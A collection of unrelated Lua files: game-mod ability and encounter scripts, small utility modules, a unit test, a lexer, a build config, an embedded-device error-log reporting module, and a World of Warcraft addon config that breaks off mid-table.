function old_holy_knight_holy_light:CastFilterResultTarget(hTarget)
if hTarget == self:GetCaster() then
return UF_FAIL_CUSTOM
else
return UF_SUCCESS
end
end
function old_holy_knight_holy_light:GetCustomCastErrorTarget(hTarget)
return "dota_hud_error_cant_cast_on_self"
end
function old_holy_knight_holy_light:OnSpellStart()
local hCaster = self:GetCaster()
local hTarget = self:GetCursorTarget()
local iHeal = self:GetSpecialValueFor("heal")
local iDamage = self:GetSpecialValueFor("damage")
local hSpecial = self:GetCaster():FindAbilityByName("special_bonus_unique_old_holy_knight_0")
if hSpecial then
iHeal = iHeal+hSpecial:GetSpecialValueFor("value")
iDamage = iDamage+hSpecial:GetSpecialValueFor("value")
end
ParticleManager:CreateParticle("particles/units/heroes/hero_chen/chen_test_of_faith.vpcf", PATTACH_ABSORIGIN_FOLLOW, hTarget)
hTarget:EmitSound("Hero_Chen.TestOfFaith.Target")
hCaster:EmitSound("Hero_Chen.TestOfFaith.hCaster")
if hTarget:GetTeam() == hCaster:GetTeam() then
hTarget:Heal(iHeal,hCaster)
SendOverheadEventMessage(hTarget:GetPlayerOwner(), OVERHEAD_ALERT_HEAL , hTarget, iHeal, nil)
else
ApplyDamage({attacker = hCaster, victim = hTarget, ability = self, damage_type = DAMAGE_TYPE_MAGICAL, damage = iDamage})
SendOverheadEventMessage(nil, OVERHEAD_ALERT_BONUS_SPELL_DAMAGE , hTarget, iDamage, nil)
end
end
old_holy_knight_critical_strike = class({})
function old_holy_knight_critical_strike:GetIntrinsicModifierName() return "modifier_old_holy_knight_critical_strike" end
old_holy_knight_holy_persuation = class({})
function old_holy_knight_holy_persuation:CastFilterResultTarget(hTarget)
if IsClient() then return UF_SUCCESS end
if hTarget:IsHero() then return UF_FAIL_HERO
elseif hTarget:GetTeam() == self:GetCaster():GetTeam() then return UF_FAIL_FRIENDLY
elseif hTarget:IsAncient() and not self:GetCaster():HasScepter() then return UF_FAIL_ANCIENT
elseif hTarget:IsConsideredHero() then return UF_FAIL_CONSIDERED_HERO
elseif hTarget:GetClassname() == "npc_dota_roshan" then return UF_FAIL_CUSTOM
else return UF_SUCCESS
end
end
function old_holy_knight_holy_persuation:GetCustomCastErrorTarget(hTarget)
return "dota_hud_error_cant_cast_on_roshan"
end
function old_holy_knight_holy_persuation:OnSpellStart()
local hCaster = self:GetCaster()
local hTarget = self:GetCursorTarget()
hCaster:EmitSound("Hero_Chen.HolyPersuasionCast")
local tUnits = FindUnitsInRadius(hCaster:GetTeamNumber(), hTarget:GetOrigin(), nil, self:GetSpecialValueFor("range"), DOTA_UNIT_TARGET_TEAM_ENEMY, DOTA_UNIT_TARGET_BASIC, DOTA_UNIT_TARGET_FLAG_NOT_CREEP_HERO, FIND_CLOSEST, false)
PersueUnit(hCaster, hTarget, CheckTalent(hCaster, "special_bonus_unique_old_holy_knight_3"), true, "Hero_Chen.HolyPersuasionEnemy", "particles/units/heroes/hero_chen/chen_holy_persuasion.vpcf")
local iPersuedUnits = 1
local iMaxPersuedUnit = self:GetSpecialValueFor("count")
for k, v in ipairs(tUnits) do
if v ~= hTarget and (not v:IsAncient() or hCaster:HasScepter()) then
iPersuedUnits = iPersuedUnits+1
if iPersuedUnits > iMaxPersuedUnit
then return
end
PersueUnit(hCaster, v, CheckTalent(hCaster, "special_bonus_unique_old_holy_knight_3"), true, "Hero_Chen.HolyPersuasionEnemy", "particles/units/heroes/hero_chen/chen_holy_persuasion.vpcf")
end
end
end
|
-- gettext.lua
-- $Id: gettext.lua,v 2.0 2016/04/18 18:55 BAerowing Exp $
-- Lua wrapper functions for Lua 5.3.x gettext binding.
-- BEGIN gettext.lua --
GetText = require("lgettext")
function _(str, ...)
return string.format(GetText.gettext(str), table.unpack(arg))
end
function n_(str, ...)
return string.format(GetText.ngettext(str), table.unpack(arg))
end
return GetText
-- END of gettext.lua --
|
-- Hello world in Lua
print "Hello, world!"
--
-- How to run
--
-- lua hello.lua
--
|
return _G[script].Promise.spawn;
|
local IComparable = require("api.IComparable")
local PriorityMap = class.class("PriorityMap", IComparable)
PriorityMap.DEFAULT_PRIORITY = 100000
function PriorityMap:init()
self.map = {}
self.priority = {}
self.sorted_keys = {}
self.dirty = true
end
function PriorityMap:clear()
self.map = {}
self.priority = {}
self.sorted_keys = {}
self.dirty = true
end
local function iter(state, index)
local key = state.sorted_keys[index]
if key == nil then
return nil
end
return index + 1, state.map[key], key
end
function PriorityMap:iter()
if self.dirty then
self.dirty = false
self:_update_sorting()
end
return iter, self, 1
end
function PriorityMap:len()
if self.dirty then
self.dirty = false
self:_update_sorting()
end
return #self.sorted_keys
end
function PriorityMap:set(key, value, priority)
if value == nil then
self.map[key] = nil
self.priority[key] = nil
else
self.map[key] = value
self.priority[key] = priority or PriorityMap.DEFAULT_PRIORITY
end
self.dirty = true
end
function PriorityMap:get(key)
return self.map[key]
end
function PriorityMap:_update_sorting()
self.sorted_keys = table.keys(self.map)
table.sort(self.sorted_keys, function(a, b) return self.priority[a] < self.priority[b] end)
end
function PriorityMap:compare(other)
return table.deepcompare(self.map, other.map)
and table.deepcompare(self.priority, other.priority)
end
return PriorityMap
|
-- This is a collection of useful functions that may be used often
-- Displays an error message and closes the lua interpreter
function perror(text)
print("Error: ",text)
os.exit()
end
-- Returns the size of a table
function table_size(tb)
if not tb then
perror("Tried to find size of non table data structure")
else
return #tb
end
end
|
local testcase = require('testcase')
local dirname = require('dirname')
function testcase.dirname()
-- test that extract directory part of pathname
for _, v in ipairs({
{
"",
".",
},
{
".",
".",
},
{
"/.",
"/",
},
{
"/",
"/",
},
{
"////",
"/",
},
{
"/foo",
"/",
},
{
"x/",
".",
},
{
"abc",
".",
},
{
"abc/def",
"abc",
},
{
"a/b/.x",
"a/b",
},
{
"a/b/c.",
"a/b",
},
{
"a/b/c.x",
"a/b",
},
{
"///usr///bin///",
"///usr",
},
}) do
local dir = assert(dirname(v[1]))
assert.equal(dir, v[2])
end
local dir = assert(dirname())
assert.equal(dir, '.')
-- test that throws an error if argument is invalid
local err = assert.throws(dirname, {})
assert.match(err, 'pathname must be string')
end
|
-- Copyright 2016-2021 Gabriel Dubatti. See LICENSE.
-- myproj LPeg lexer.
local l = require('lexer')
local token, word_match = l.token, l.word_match
local P, R, S = lpeg.P, lpeg.R, lpeg.S
local M = {_NAME = 'myproj'}
-- Whitespace.
local ws = token(l.WHITESPACE, l.space^1)
local hidden = token('hidden', '::' * l.nonnewline^0)
local style_hidden = 'notvisible'
local group1 = token('group1', '[' * (l.nonnewline - ']')^0 * ']' )
local style_group1 = 'fore:$(color.variable),bold'
local group2 = token('group2', '(' * (l.nonnewline - ')')^0 * ')' )
local style_group2 = 'fore:$(color.function),bold'
local group3 = token('group3', '<' * (l.nonnewline - '>')^0 * '>' )
local style_group3 = 'fore:$(color.type),bold'
local extension = token('extension', '.' * l.word^0 )
local style_extension = 'fore:$(color.comment),italics'
--search view
local search_line = token('search_line', '@' * l.space^0 * l.digit^1 * ':' * l.nonnewline^0)
local style_search_line = 'fore:$(color.comment)'
M._rules = {
{'whitespace', ws},
{'hidden', hidden},
{'group1', group1},
{'group2', group2},
{'group3', group3},
{'extension', extension},
{'search_line', search_line},
}
M._tokenstyles = {
hidden = style_hidden,
group1 = style_group1,
group2 = style_group2,
group3 = style_group3,
extension= style_extension,
search_line= style_search_line,
}
M._FOLDBYINDENTATION = true
M._LEXBYLINE = true
return M
|
-- A basic encounter script skeleton you can copy and modify for your own creations.
Timers = require "timer"
require "Animations/nomercy"
require "fakeui"
require "vsprite"
-- music = "shine_on_you_crazy_diamond" --Always OGG. Extension is added automatically. Remove the first two lines for custom music.
music = ""
encountertext = "[voice:ui]ASGORE attacks!" --Modify as necessary. It will only be read out in the action select screen.
nextwaves = {"intro_old"}
wavetimer = 100
arenasize = {155, 130}
reddots = {}
reddots_count = 0
del_reddots = {}
del_reddots_count = 0
starttime = Time.time
currenttime = 0
current_turn = 0
current = 0
SetGlobal("bfight", 0)
SetGlobal("bitem", 0)
SetGlobal("gameover", false)
SetGlobal("atk", 3)
enemies = {
"asgore",
"itemgore"
}
enemypositions = {
{-10, 0},
{500, 500}
}
current_turn = 0 --use to test specific attacks
flowey_turn = 0
--DEBUG_MODE = true --uncomment to enable debug mode
function EncounterStarting()
Player.lv = 20
Player.hp = 99
Player.name = "Chara"
-- If you want to change the game state immediately, this is the place.
enemies[2].Call("SetActive", false)
if(DEBUG_MODE) then
Audio.LoadFile("asgore")
intro = false
enemies[1].Call("SetSprite", "asgoreempty")
SpawnBall()
backpink = CreateSprite("backpink")
backpink.SetPivot(0, 0)
backpink.MoveTo(0, 0)
require "Animations/asgore"
wavetimer = 7
fui_init()
else
Audio.LoadFile("bergentruckunghousingMANDO")
BattleDialog({"[effect:none][novoice][noskip][waitall:1.7](A strange light fills the\rroom.)[w:1000][next]"})
end
end
function No()
backpink.Set("empty")
end
testbmercy = nil
intro = true
mask = nil
btt = 0
backpink = nil
goback = false
gotoitemenu = false
initemmenu = false
lasttime = Time.time
framecounter = 0
function add_reddot()
if GetGlobal("No") == true then
else
local rdot
if del_reddots_count == 0 then
rdot = CreateVSprite("reddot")
table.insert(reddots, rdot)
reddots_count = reddots_count + 1
else
rdot = del_reddots[del_reddots_count]
table.remove(del_reddots, del_reddots_count)
del_reddots_count = del_reddots_count - 1
end
local rdotscale = 1 + (math.random() - 0.5)
rdot.sprite.Scale(rdotscale, rdotscale)
rdot.sprite.MoveTo(math.random(0, 640), -4)
rdot.SetVar("velx", (math.random() * 6) - 3)
rdot.SetVar("alpham", math.random() * 0.03 + 0.001)
rdot.SetVar("vely", math.random() * 1.0 + 0.01)
rdot.SetVar("velym", math.random() * 0.02 + 0.01)
rdot.SetVar("dot_active", true)
rdot.sprite.alpha = 1.0
rdot.sprite.color = {math.sin(Time.time), math.cos(Time.time), -math.sin(Time.time)}
rdot.sprite.SendToBottom()
end
end
--moves a red dot into position. This can be improved by changing y velocity over time
function update_reddot(rdot, i)
if not rdot.GetVar("dot_active") then
return
end
local vely = rdot.GetVar("vely")
rdot.sprite.alpha = rdot.sprite.alpha - rdot.GetVar("alpham")
rdot.sprite.y = rdot.sprite.y + vely
rdot.SetVar("vely", vely + rdot.GetVar("velym"))
rdot.sprite.x = rdot.sprite.x + rdot.GetVar("velx")
if(rdot.sprite.alpha <= 0) then
del_reddot(i)
end
end
--performs update on all red dots
function update_reddots()
for i=1,reddots_count do
local rdot = reddots[i]
update_reddot(rdot, i)
end
end
function del_reddot(index)
reddots[index].SetVar("dot_active", false)
table.insert(del_reddots, reddots[index])
del_reddots_count = del_reddots_count + 1
end
SetGlobal("afterimage", true)
SetGlobal("soulfix", false)
spawntimer = 0
dedtimer = 0
cheat = false
difficulty = 5
BallExists = false
function SpawnBall()
BallExists = true ball1xspeed = math.random(1, 6) ball2xspeed = math.random(1, 6)
MenuBall1 = CreateProjectileAbs('a_torielflameL0', 0, 40) MenuBall1.sprite.SetAnimation({"a_torielflameL0", "a_torielflameL1"}, 0.2) MenuBall1.sprite.SendToBottom()
MenuBall2 = CreateProjectileAbs('a_torielflameR0', 640, 40) MenuBall2.sprite.SetAnimation({"a_torielflameR0", "a_torielflameR1"}, 0.2) MenuBall2.sprite.SendToBottom()
end
-- placeholder menu attack, i might make it so that balls will continuosly spawn
function KillBall()
MenuBall1.sprite.StopAnimation() MenuBall1.sprite.Set("empty") MenuBall2.sprite.Set("empty") MenuBall2.sprite.StopAnimation() BallExists = false
end
AsgoreDead1 = false
SetGlobal("dodgeit", 1)
function Update()
if waitfordodge then
if GetGlobal("dodgeit") == 3 then
if Input.Confirm == 1 then
enemies[1].SetVar("def", 999999999999)
SetGlobal("dodge", true)
waitfordodge = false
end
else
enemies[1].SetVar("def", -9999999)
end
end
if fui_inMenu == true and BallExists == true then
MenuBall1.Move(ball1xspeed, 0) MenuBall2.Move(-ball2xspeed, 0)
if MenuBall1.absx >= 640 then
MenuBall1.MoveToAbs(0, 40)
end
if MenuBall2.absx <= 0 then
MenuBall2.MoveToAbs(650, 40)
end
end
if not intro and Input.Menu == 1 then
if math.random(1,3) == 2 then Player.Hurt(2, 0) elseif math.random(1,3) == 3 then Player.heal(1) end
end
dedtimer = dedtimer + 1
if enemies[1].GetVar("hp") <= 0 then
dedtimer = 0 enemies[1].SetVar('dialogbubble', 'rightwide') AsgoreDead1 = true
enemies[1].SetVar("hp", 1) enemies[1].Call("SetSprite", "asgoreded1")
Audio.Stop() HideAsgore() No() SetGlobal("No", true)
end
if GetGlobal("hurtframes") ~= nil then
if GetGlobal("hurtframes") > 0 then
SetGlobal("hurtframes", GetGlobal("hurtframes") - 1)
end
end
framecounter = framecounter + 1
if Timers then
Timers.UpdateTimers()
end
if(goback) then
State("ACTIONSELECT")
goback = false
end
if(gotoitemenu) then
enemies[2].Call("SetActive", true)
enemies[1].Call("SetActive", false)
State("ACTMENU")
gotoitemenu = false
end
if(initemmenu and Input.Cancel == 1) then
BattleDialog({"[next]"})
initemmenu = false
goback = true
end
if(intro) then
if(mask == nil) then
mask = CreateProjectileAbs("dialogmask", 320, 160)
end
AsgoreIntro()
AnimNoMercy()
else
currenttime = Time.time - starttime
UpdateAsgore()
if(Player.absx == 202 and Player.absy == 25 and GetGlobal("soulfix") == false) then
SetGlobal("soulfix", true)
fui_soulfixer()
end
if(Player.absx == 202 and Player.absy == 25 and GetGlobal("bitem") < 4 and Input.Right == 1) then
goback = true
BattleDialog({"[next]"})
end
if(Player.absx == 202 and Player.absy == 25 and GetGlobal("bfight") < 5 and Input.Left == 1) then
goback = true
BattleDialog({"[next]"})
end
if(Player.absx == 361 and Player.absy == 25 and Input.Right == 1) then
goback = true
BattleDialog({"[next]"})
end
if(Player.absx == 48 and Player.absy == 25 and Input.Left == 1) then
goback = true
BattleDialog({"[next]"})
end
if(Player.absx == 48 and Player.absy == 25 and GetGlobal("bfight") < 5 and Input.Confirm == 1) then
goback = true
BattleDialog({"[next]"})
end
end
update_reddots()
if(fui_initialized) then
backpink.yscale = 10 + math.sin(Time.time * 1.2) * 5
backpink.color = {math.sin(Time.time), math.cos(Time.time), -math.sin(Time.time)}
backpink.SendToBottom()
fui_mask.SendToBottom()
if framecounter % 2 == 0 then
add_reddot()
end
fui_update()
end
end
mercies = 0
ballinit = false
function EnteringState(newstate, oldstate)
if newstate == "ATTACKING" then
SetGlobal("dodgeit", math.random(1,3))
waitfordodge = true
end
if(newstate == "DEFENDING" and intro) then
enemies[1].Call("SetSprite", "asgoreempty")
InitNoMercy()
end
if(newstate == "MERCYMENU") then
State("ACTIONSELECT")
end
if(newstate == "ITEMMENU") then
State("ACTIONSELECT")
if(#enemies[2].GetVar("commands") == 0) then
State("ACTIONSELECT")
else
initemmenu = true
gotoitemenu = true
end
end
if((newstate ~= "ACTMENU" and newstate ~= "ITEMMENU") and initemmenu) then
enemies[1].Call("SetActive", true)
enemies[2].Call("SetActive", false)
initemmenu = false
end
if(newstate == "ACTIONSELECT" and oldstate == "DEFENDING") then
if AsgoreDead1 == false then SpawnBall() end
fui_inMenu = true
end
if(newstate == "ACTIONSELECT") then
fui_selectingButton = true
elseif(not goback) then
fui_selectingButton = false
end
if(not intro and newstate == "ENEMYDIALOGUE" or newstate == "DEFENDING") then
fui_inMenu = false
else
fui_inMenu = true
end
if(intro and newstate == "ENEMYDIALOGUE" or newstate == "DEFENDING") then
fui_inMenu = false
else
fui_inMenu = true
end
end
function OnHit(bullet)
if BallExists == true then
Player.Hurt(5, 0.2)
end
end
function EnemyDialogueStarting()
-- Good location for setting monster dialogue depending on how the battle is going.
if not intro and AsgoreDead1 == false then
KillBall()
end
if (intro and introdone == true) then
enemies[1].SetVar('currentdialogue', {"[effect:none][voice:asgore][waitall:2][noskip][w:5][func:SetSprite,asgore4][w:5]Human...\n[w:15]Let's just get\nto the point...[w:25][func:whatdidyoujustfuckingsaytomeyoulittlebitch][next]"})
elseif (intro) then
enemies[1].SetVar('currentdialogue', {"[effect:none][voice:asgore][waitall:2][noskip][w:5][func:SetSprite,asgore4][w:15]Human...\n[w:25]No...[w:30]\nwhatever you\nare...[w:40][next]","[noskip][effect:none][voice:asgore][waitall:2]It is time...[w:40][next]","[noskip][func:SetSprite,asgore1][effect:none][voice:asgore][waitall:2][w:60][func:SetSprite,asgore4]Goodbye.[w:10][func:whatdidyoujustfuckingsaytomeyoulittlebitch][next]"})
end
end
-- All the attacks that Asgore will always use in order... once this list is exhausted, we move on to possible_attacks
attack_order = {"nothing", "touhou/bulletrain1", "touhou/bulletrain2", "touhou/spearswing", "touhou/hand_opening", "touhou/wavy_fire", "touhou/warning_fire", "touhou/hand_sweep", "touhou/spearswing", "touhou/circles", "touhou/bigbulletrain", "touhou/spearswing",
"touhou/wavy_fire", "touhou/hand_sweep", "touhou/circles", "touhou/spearswing", "touhou/bigbulletrain", "touhou/warning_fire", "touhou/circles", "touhou/spearswing",
"touhou/hand_sweep", "touhou/circles", "touhou/bigbulletrain", "touhou/spearswing"}
floweyorder = { "nothing", "Flowey/randomCirfast", "nothing", "Flowey/circlehole", "nothing", "nothing", "nothing", "nothing", "Flowey/circlehole", "Flowey/circle", "nothing", "Flowey/circlehole"}
-- A custom list with attacks to choose from. Actual selection happens in EnemyDialogueEnding(). Put here in case you want to use it.
-- TODO: Weighted attack order
possible_attacks = {"touhou/bigbulletrain", "touhou/wavy_fire", "touhou/spearswing", "touhou/warning_fire", "touhou/circles", "touhou/hand_sweep", "touhou/bulletrain1", "touhou/bulletrain2"}
possible_flowey = {"Flowey/circle", "Flowey/circlehole", "Flowey/orangeCirSlow", "Flowey/orangeCirFast", "Flowey/randomCirSlow", "nothing" }
function EnemyDialogueEnding()
-- Good location to fill the 'nextwaves' table with the attacks you want to have simultaneously.
-- This example line below takes a random attack from 'possible_attacks'.
if(intro) then
nextwaves = { "nothing" }
else
Timers = nil
current_turn = current_turn + 1
flowey_turn = flowey_turn + 1
SetGlobal("current_turn", current_turn)
if AsgoreDead1 == true then
nextwaves = {"none"}
elseif current_turn <= #attack_order then
nextwaves = {attack_order[current_turn], floweyorder[flowey_turn]}
else
nextwaves = { possible_attacks[math.random(#possible_attacks)], possible_flowey[math.random(#possible_flowey)] }
starttime = Time.time
currenttime = 0
end
end
end
function DefenseEnding() --This built-in function fires after the defense round ends.
if(intro) then
intro = false
backpink = CreateSprite("backpink")
backpink.SetPivot(0, 0)
backpink.MoveTo(0, 0)
require "Animations/asgore"
wavetimer = 7
fui_init()
else
encountertext = RandomEncounterText() --This built-in function gets a random encounter text from a random enemy.
if AsgoreDead1 == true then Player.SetControlOverride(true) end
end
end
function HandleSpare()
State("ENEMYDIALOGUE")
end
function HandleItem(ItemID)
BattleDialog({"Selected item " .. ItemID .. "."})
end
introdone = false
function AsgoreIntro()
if Input.Menu == 1 and introdone == false then
btt = true
introdone = true
end
if(btt == 0 and Audio.playtime >= 3) then
BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](Twilight is shining through\rthe barrier.)[w:700][next]"})
btt = 1
end
if(btt == 1 and Audio.playtime >= 6) then
BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](Dust floats throughout\rthe Underground.)[w:700][next]"})
btt = 2
end
if(btt == 2 and Audio.playtime >= 9) then
BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](ASGORE stands between you\rand the absolute.)[w:700][next]"})
btt = 3
end
if(btt == 3 and Audio.playtime >= 12) then
BattleDialog({"[effect:none][novoice][noskip][waitall:1.9](It seems your journey is\rcoming to an end.)[w:900][next]"})
btt = 4
end
if(btt == 4 and Audio.playtime >= 16) then
BattleDialog({"[starcolor:000000][effect:none][novoice][noskip][waitall:2] * (You're filled with\r [w:30][color:ff0000]DETERMINATION[color:ffffff].)[w:1000][next]"})
btt = 5
end
if(btt == 5 and Audio.playtime >= 28 or btt == true) then
Audio.Stop()
btt = Time.time
end
if(btt > 5 and Time.time - btt >= 1) then
btt = -1
mask.sprite.Set("fullmask")
State("ENEMYDIALOGUE")
end
end
|
option("with-demo")
set_default(false)
set_showmenu(true)
set_category("hikyuu")
set_description("Complie with demo")
option_end()
target("demo")
if has_config("with-demo") then
set_kind("binary")
else
set_kind("phony")
end
add_includedirs("..")
if is_plat("windows") then
add_cxflags("-wd4267")
end
if is_plat("windows") then
add_defines("HKU_API=__declspec(dllimport)")
add_defines("SQLITE_API=__declspec(dllimport)")
end
-- add files
add_files("./*.cpp")
add_deps("hikyuu")
target_end()
|
--- 模块功能:系统错误日志管理(强烈建议用户开启此模块的“错误日志上报调试服务器”功能).
-- 错误日志包括四种:
-- 1、系统主任务运行时的错误日志
-- 此类错误会导致软件重启,错误日志保存在/luaerrinfo.txt文件中
-- 2、调用sys.taskInit创建的协程运行过程中的错误日志
-- 此类错误会终止当前协程的运行,但是不会导致软件重启,错误日志保存在/lib_err.txt中
-- 3、调用errDump.appendErr或者sys.restart接口保存的错误日志
-- 此类错误日志保存在/lib_err.txt中
-- 4、调用errDump.setNetworkLog接口打开网络异常日志功能后,会自动保存最近几种网络异常日志
-- 此类异常日志保存在内存中
--
-- 其中2和3保存的错误日志,最多支持5K字节
-- 每次上报错误日志给调试服务器之后,会清空已保存的日志
-- @module errDump
-- @author openLuat
-- @license MIT
-- @copyright openLuat
-- @release 2017.09.26
require"socket"
require"misc"
module(..., package.seeall)
--错误信息文件以及错误信息内容
local LIB_ERR_FILE,libErr,LIB_ERR_MAX_LEN = "/lib_err.txt","",5*1024
local LUA_ERR_FILE,luaErr = "/luaerrinfo.txt",""
local sReporting,sProtocol
local sNetworkLog,stNetworkLog,sNetworkLogFlag = "",{}
-- 初始化LIB_ERR_FILE文件中的错误信息(读取到内存中,并且打印出来)
-- @return nil
-- @usage readTxt.initErr()
local function initErr()
libErr = io.readFile(LIB_ERR_FILE) or ""
if libErr~="" then
log.error("errDump.libErr", libErr)
end
luaErr = io.readFile(LUA_ERR_FILE) or ""
if luaErr~="" then
log.error("errDump.luaErr", luaErr)
end
updateNetworkLog()
end
--- 追加错误信息到LIB_ERR_FILE文件中(文件最多允许存储5K字节的数据)
-- @string s:用户自定义的错误信息,errDump功能模块会对此错误信息做如下处理:
-- 1、重启后会通过Luat下载调试工具输出,在trace中搜索errDump.libErr,可以搜索到错误信息
-- 2、如果用户调用errDump.request接口设置了错误信息要上报的调试服务器地址和端口,则每次重启会自动上报错误信息到调试服务器
-- 3、如果用户调用errDump.request接口设置了定时上报,则定时上报时会上报错误信息到调试服务器
-- 其中第2和第3种情况,上报成功后,会自动清除错误信息
-- @return bool result,true表示成功,false或者nil表示失败
-- @usage errDump.appendErr("net working timeout!")
function appendErr(s)
if s then
s=s.."\r\n"
log.error("errDump.appendErr",s)
if (s:len()+libErr:len())<=LIB_ERR_MAX_LEN then
libErr = libErr..s
return io.writeFile(LIB_ERR_FILE, libErr)
end
end
end
local function reportData()
return _G.PROJECT.."_"..rtos.get_version()..",".._G.VERSION..","..misc.getImei()..","..misc.getSn()..","..luaErr..(luaErr:len()>0 and "\r\n" or "")..libErr..sNetworkLog
end
local function httpPostCbFnc(result,statusCode)
log.info("errDump.httpPostCbFnc",result,statusCode)
sys.publish("ERRDUMP_HTTP_POST",result,statusCode)
end
function clientTask(protocol,addr,period)
sReporting = true
while true do
if not socket.isReady() then sys.waitUntil("IP_READY_IND") end
--log.info("errDump.clientTask","err",luaErr~="" or libErr~="")
if luaErr~="" or libErr~="" or sNetworkLog~="" then
local retryCnt,result,data = 0
while true do
if protocol=="http" then
http.request("POST",addr,nil,nil,reportData(),20000,httpPostCbFnc)
_,result = sys.waitUntil("ERRDUMP_HTTP_POST")
else
local host,port = addr:match("://(.+):(%d+)$")
if not host then log.error("errDump.request invalid host port") return end
local sck = protocol=="udp" and socket.udp() or socket.tcp()
if sck:connect(host,port) then
result = sck:send(reportData())
if result and protocol=="udp" then
result,data = sck:recv(20000)
if result then
result = data=="OK"
end
end
end
sck:close()
end
if result then
libErr = ""
os.remove(LIB_ERR_FILE)
luaErr = ""
os.remove(LUA_ERR_FILE)
sNetworkLog = ""
stNetworkLog = {}
break
else
retryCnt = retryCnt+1
if retryCnt==3 then
break
end
sys.wait(5000)
end
end
end
if period then
--log.info("errDump.clientTask","wait",period)
sys.wait(period)
else
break
end
end
sReporting = false
end
function updateNetworkLog()
if sNetworkLogFlag then
sNetworkLog = ""
for k,v in pairs(stNetworkLog) do
if v and v~="" then
sNetworkLog = sNetworkLog.."\r\n"..k.."@"..v
end
end
end
end
local onceGsmRegistered,onceGprsAttached
--- 配置网络错误日志开关
-- @bool[opt=nil] flag,是否打开网络错误日志开关,true为打开,false或者nil为关闭
-- @usage
-- errDump.setNetworkLog(true)
function setNetworkLog(flag)
sNetworkLogFlag = flag
local procer = flag and sys.subscribe or sys.unsubscribe
if not flag then
sNetworkLog,stNetworkLog = "",{}
end
local function getTimeStr()
local clk = os.date("*t")
return string.format("%02d_%02d:%02d:%02d",clk.day,clk.hour,clk.min,clk.sec)
end
procer("FLYMODE",function(value)
if value then
stNetworkLog["FLYMODE"] = getTimeStr()
updateNetworkLog()
end
end)
procer("SIM_IND",function(value)
if value~="RDY" then
stNetworkLog["SIM_IND"] = getTimeStr()..":"..value
updateNetworkLog()
end
end)
procer("NET_STATE_UNREGISTER",function()
if onceGsmRegistered then
stNetworkLog["NET_STATE_UNREGISTER"] = getTimeStr()
updateNetworkLog()
end
end)
procer("NET_STATE_REGISTER",function() onceGsmRegistered=true end)
procer("GPRS_ATTACH",function(value)
if value then
onceGprsAttached = true
elseif onceGprsAttached then
stNetworkLog["GPRS_ATTACH"] = getTimeStr()..":0"
updateNetworkLog()
end
end)
procer("LIB_SOCKET_CONNECT_FAIL_IND",function(ssl,prot,addr,port)
stNetworkLog[(ssl and "ssl" or prot).."://"..addr..":"..port] = getTimeStr()..":connect fail"
updateNetworkLog()
end)
procer("LIB_SOCKET_SEND_FAIL_IND",function(ssl,prot,addr,port)
stNetworkLog[(ssl and "ssl" or prot).."://"..addr..":"..port] = getTimeStr()..":send fail"
updateNetworkLog()
end)
procer("PDP_DEACT_IND",function()
stNetworkLog["PDP_DEACT_IND"] = getTimeStr()
updateNetworkLog()
end)
procer("IP_SHUT_IND",function()
stNetworkLog["IP_SHUT_IND"] = getTimeStr()
updateNetworkLog()
end)
end
--- 配置调试服务器地址,启动错误信息上报给调试服务器的功能,上报成功后,会清除错误信息
-- @string addr,调试服务器地址信息,支持http,udp,tcp
-- 1、如果调试服务器使用http协议,终端将采用POST命令,把错误信息上报到addr指定的URL中,addr的格式如下
-- (除protocol和hostname外,其余字段可选;目前的实现不支持hash)
-- |------------------------------------------------------------------------------|
-- | protocol ||| auth | host | path | hash |
-- |----------|||-----------|-----------------|---------------------------|-------|
-- | ||| | hostname | port | pathname | search | |
-- | ||| |----------|------|----------|----------------| |
-- " http :// user:pass @ host.com : 8080 /p/a/t/h ? query=string # hash "
-- | ||| | | | | | |
-- |------------------------------------------------------------------------------|
-- 2、如果调试服务器使用udp协议,终端将错误信息,直接上报给调试服务器,调试服务器收到信息后,要回复大写的OK;addr格式如下:
-- |----------|||----------|------|
-- | protocol ||| hostname | port |
-- | |||----------|------|
-- " udp :// host.com : 8081 |
-- | ||| | |
-- |------------------------------|
-- 3、如果调试服务器使用tcp协议,终端将错误信息,直接上报给调试服务器;addr格式如下:
-- |----------|||----------|------|
-- | protocol ||| hostname | port |
-- | |||----------|------|
-- " tcp :// host.com : 8082 |
-- | ||| | |
-- |------------------------------|
-- @number[opt=600000] period,单位毫秒,定时检查错误信息并上报的间隔
-- @return bool result,成功返回true,失败返回nil
-- @usage
-- errDump.request("http://www.user_server.com/errdump")
-- errDump.request("udp://www.user_server.com:8081")
-- errDump.request("tcp://www.user_server.com:8082")
-- errDump.request("tcp://www.user_server.com:8082",6*3600*1000)
function request(addr,period)
local protocol = addr:match("(%a+)://")
if protocol~="http" and protocol~="udp" and protocol~="tcp" then
log.error("errDump.request invalid protocol",protocol)
return
end
if not sReporting then
sys.taskInit(clientTask,protocol,addr,period or 600000)
end
return true
end
initErr()
|
---------------------------------
-- INIT
---------------------------------
--get the addon namespace
local addon, ns = ...
ns.cfg = {}
local cfg = ns.cfg
---------------------------------
-- CONFIG
---------------------------------
--drag frame (only has strata, level and position)
cfg.dragframe = {
strata = "BACKGROUND", --frame strata
level = 0, --frame level
pos = { a1="BOTTOM", x=0, y=0, },
}
--actionbar background
cfg.actionbarbg = {
name = "ActionBar", --has to be unique per addon
width = 1024,
height = 128,
scale = 0.55,
--alpha = 1,
--strata = "BACKGROUND", --frame strata
--level = 0, --frame level
pos = { a1="BOTTOM", x=0, y=0, },
texture = {
file = "Interface\\AddOns\\rBBS_Diablo2\\media\\bar.tga",
--strata = "BACKGROUND", --texture strata
--level = -8, --texture level
--color = { r=1, g=0, b=0, a = 1, },
--blendmode = "ADD",
},
}
--bottomline texture
cfg.healthorb = {
name = "HealthOrb",
size = 142,
scale = 0.82,
classcolored = false,
animation = {
enable = true,
anim = 20,
decreaseAlpha = true,
multiplier = 0.15,
},
--color = { r=1, g=1, b=0, a=1, },
pos = { a1="BOTTOMLEFT", x=30, y=-5, },
--strata = "BACKGRROUND",
--level = 1,
}
--bottomline texture
cfg.powerorb = {
name = "PowerOrb",
size = 142,
scale = 0.82,
powertypecolored = false,
animation = {
enable = true,
anim = 6,
decreaseAlpha = true,
multiplier = 0.15,
},
pos = { a1="BOTTOMRIGHT", x=-28, y=-5, },
}
--angel texture
cfg.angel = {
name = "Angel",
width = 256,
height = 256,
strata = "LOW",
level = 5,
scale = 0.6,
pos = { a1="BOTTOMRIGHT", x=0, y=0, },
texture = {
file = "Interface\\AddOns\\rBBS_Diablo2\\media\\figure_right.tga",
},
}
--demon texture
cfg.demon = {
name = "Demon",
width = 256,
